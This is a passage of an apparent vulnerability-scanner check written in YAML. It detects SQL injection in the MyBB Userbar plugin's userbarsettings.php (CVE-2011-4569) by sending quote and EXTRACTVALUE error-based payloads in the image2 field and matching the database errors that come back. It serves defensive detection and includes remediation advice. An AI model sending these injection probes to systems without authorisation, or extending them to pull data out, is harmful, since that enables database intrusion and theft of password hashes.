condition: 'live == true && hit97 == "" && hit75 == ""'
store_as: r97b
- id: check-extractvalue
action: script
condition: 'live == true && hit97 == "" && hit75 == ""'
code: |
let a = if type_of(r97a.body) == "string" { r97a.body } else { "" };
let b = if type_of(r97b.body) == "string" { r97b.body } else { "" };
if (ereg(sc.xpath_re, a) && ereg("internal SQL error", a, true)) || (ereg(sc.xpath_re, b) && ereg("internal SQL error", b, true)) { ep } else { "" }
store_as: hit97
- id: want-fallback
action: script
condition: 'live == true && hit97 == "" && hit75 == ""'
code: |
true
store_as: try75
- id: probe-quote
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "setting1=1&setting2=1&setting3=3&image2={{sc.q75}}&uid=1&submit=Submit"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'try75 == true'
store_as: r75
- id: check-quote
action: script
condition: 'try75 == true'
code: |
let body = if type_of(r75.body) == "string" { r75.body } else { "" };
if ereg("internal SQL error", body, true) && ereg(sc.syntax_re, body, true) { ep } else { "" }
store_as: hit75
- id: report-97
action: match
source: hit97
pattern: "^/"
on_match:
finding:
title: "MyBB Userbar plugin userbarsettings.php SQL Injection (CVE-2011-4569)"
description: "An unauthenticated request to userbarsettings.php with an image2 value wrapping the product of two random numbers in EXTRACTVALUE() returned a MyBB SQL error carrying the product computed by the database: the parameter reaches the SQL query unsanitised, so an attacker can run arbitrary SQL and read the forum database, including password hashes."
remediation: "Remove or update the Userbar plugin; sanitise image2 with intval()/escape_string() and do not print database errors to visitors."
confidence_delta: 0.67
qod: 97
evidence: "{{hit97}} image2=<EXTRACTVALUE(1,CONCAT(0x7e,{{sc.expr}}))> returned the database-computed value ~{{sc.prod}} in a MyBB SQL error"
stop: true
- id: report-75
action: match
source: hit75
pattern: "^/"
on_match:
finding:
title: "MyBB Userbar plugin userbarsettings.php SQL Injection (CVE-2011-4569)"
description: "An unauthenticated request to userbarsettings.php with an image2 value holding a stray quote and a random marker returned a MyBB SQL syntax error quoting the marker, while a normal value returned no error: the parameter reaches the SQL query unsanitised."
remediation: "Remove or update the Userbar plugin; sanitise image2 with intval()/escape_string() and do not print database errors to visitors."
confidence_delta: 0.50
qod: 75
evidence: "{{hit75}} image2=1'{{sc.mark}} returned a MyBB SQL syntax error near ''{{sc.mark}}; the control value 1 returned none"
stop: true